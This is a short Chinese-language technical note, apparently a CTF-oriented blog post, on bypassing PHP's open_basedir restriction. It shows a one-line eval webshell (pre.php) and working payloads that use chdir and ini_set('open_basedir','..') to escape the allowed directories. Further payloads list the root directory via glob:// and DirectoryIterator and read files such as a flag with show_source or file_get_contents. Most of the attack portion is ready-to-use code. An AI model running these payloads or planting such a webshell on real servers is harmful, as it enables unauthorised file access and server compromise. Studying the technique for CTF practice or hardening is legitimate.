php bypass open_basedir

该配置可将php可以访问的文件限制在指定的目录树中,包括文件本身

在windows下,用分号分隔目录;在其他系统上,用冒号分隔目录

使用open_basedir制定的限制是一个目录名,这意味着若open_basedir=/dir/include,那么/dir/includes也是可以访问的(如果存在);如果只想限制对指定目录的访问,要以斜线结尾,例如open_basedir=/dir/incl/

bypass open_basedir

现在php.ini中设置open_basedir=/var/www/html:/tmp;如果现在有木马文件:

pre.php:

1
<?php eval($_POST['t']); ?>

那么当POSTt=print_r(scandir('/'));时,会报出以下错误:

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html:/tmp) in /var/www/html/pre.php(2) : eval()'d code on line 1

Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/html/pre.php(2) : eval()'d code on line 1

Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/pre.php(2) : eval()'d code on line 1

bypass poc如下(原理详见飘零大佬文章):

t=chdir('/tmp');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(ini_get('open_basedir'));
var_dump(glob('*'));

POST上述数据后,即可看到显示出了根目录的所有文件

glob函数:

glob() 函数返回匹配指定模式的文件名或目录。

该函数返回一个包含有匹配文件 / 目录的数组。如果出错返回 false。

例如,可以查找当前目录以php结尾的文件:

1
print_r(glob('./*.php'));

另一种方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}\n";
}

另另一种方法:

1
var_dump(scandir('glob:///*'));

如果flag文件a存在于根目录下,那么可以构造如下poc进行读取(根据文件a在数组中出现的位置):

t=chdir('/tmp');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(ini_get('open_basedir'));
show_source(glob('*')['0']);

P:大佬的新方法:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

可参考 https://xz.aliyun.com/t/4720